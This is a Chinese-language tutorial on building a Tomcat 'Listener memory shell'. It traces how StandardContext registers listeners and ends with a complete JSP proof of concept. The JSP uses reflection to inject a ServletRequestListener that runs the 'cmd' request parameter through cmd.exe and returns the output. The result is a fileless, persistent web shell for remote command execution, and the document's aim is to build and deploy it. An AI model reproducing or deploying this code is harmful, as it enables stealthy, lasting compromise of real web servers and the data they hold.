Listener内存马
listener是什么:简单来说Listener(监听器)就是一个实现特定接口的普通java程序,这个程序专门用于监听另一个java对象的方法调用或属性改变,当被监听对象发生上述事件后,监听器某个方法将立即被执行。Listener常用于GUI应用程序中,我们的内存马主要涉及到的是ServletRequestListener(由于其在每次请求中都会触发)
示例:
@WebListener
// 这里可以直接使用WebListener,也可以在web.xml进行配置
public class ListenerShell implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("requestDestroyed......");
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("requestInitialized......");
}
}
然后我们通过在class处打断点跟踪堆栈来分析一个listener是怎样被创建的。
普通Listener创建过程分析:

if (ok && !this.listenerStart()) {
log.error(sm.getString("standardContext.listenerFail"));
ok = false;
}
可以看到这里是调用了listenerStart()方法,我们跟进这个方法
public boolean listenerStart() {
if (log.isTraceEnabled()) {
log.trace("Configuring application event listeners");
}
String[] listeners = this.findApplicationListeners();
Object[] results = new Object[listeners.length];
boolean ok = true;
for(int i = 0; i < results.length; ++i) {
if (this.getLogger().isTraceEnabled()) {
this.getLogger().trace(" Configuring event listener class '" + listeners[i] + "'");
}
try {
String listener = listeners[i];
results[i] = this.getInstanceManager().newInstance(listener);
} catch (Throwable t) {
Throwable throwable = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(throwable);
this.getLogger().error(sm.getString("standardContext.applicationListener", new Object[]{listeners[i]}), throwable);
ok = false;
}
}
if (!ok) {
this.getLogger().error(sm.getString("standardContext.applicationSkipped"));
return false;
} else {
List<Object> eventListeners = new ArrayList();
List<Object> lifecycleListeners = new ArrayList();
for(Object result : results) {
if (result instanceof ServletContextAttributeListener || result instanceof ServletRequestAttributeListener || result instanceof ServletRequestListener || result instanceof HttpSessionIdListener || result instanceof HttpSessionAttributeListener) {
eventListeners.add(result);
}
if (result instanceof ServletContextListener || result instanceof HttpSessionListener) {
lifecycleListeners.add(result);
}
}
eventListeners.addAll(Arrays.asList(this.getApplicationEventListeners()));
this.setApplicationEventListeners(eventListeners.toArray());
for(Object lifecycleListener : this.getApplicationLifecycleListeners()) {
lifecycleListeners.add(lifecycleListener);
if (lifecycleListener instanceof ServletContextListener) {
this.noPluggabilityListeners.add(lifecycleListener);
}
}
先来看下面这段:

这段代码是先用findApplicationListeners()方法把所有要创建的listener查出来,再一个个实例化,实例化出来的对象放进results对象数组。
然后看下面这段:

这段代码的意思大概就是判断每个result里面的Listener的实例是否是ServletContextAttributeListener、ServletRequestAttributeListener、ServletRequestListener、HttpSessionIdListener、HttpSessionAttributeListener中的其中一种,如果是的话就把Listener实例添加到eventListeners中。
然后最后一小段:

调用getApplicationEventListeners()把返回结果放进eventListeners,然后更新监听器列表。
然后发现StandardContext有往ApplicationEventListeners列表写入的方法:
public void setApplicationEventListeners(Object[] listeners) {
this.applicationEventListenersList.clear();
if (listeners != null && listeners.length > 0) {
this.applicationEventListenersList.addAll(Arrays.asList(listeners));
}
}
public void addApplicationEventListener(Object listener) {
this.applicationEventListenersList.add(listener);
}
分别是写入一个监听器数组和一个监听器,我们就用这个来创建而已监听器。
POC:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%!
// 定义一个简单的 Servlet 用于执行系统命令
public class MemShellListener implements ServletRequestListener{
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
String cmd = req.getParameter("cmd");
if(cmd == null) return;
try {
InputStream in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}catch (Exception ignore){ }
}
}
%>
<%
// 使用反射获取 StandardContext 上下文
Field reqField = request.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Request req = (Request) reqField.get(request);
StandardContext stdContext = (StandardContext) req.getContext();
stdContext.addApplicationEventListener(new MemShellListener());
%>
<html>
<head>
<title>Title</title>
</head>
<body>
<h1>Hello Listener</h1>
</body>
</html>
跟servlet内存马的过程差不多,就不多解释了。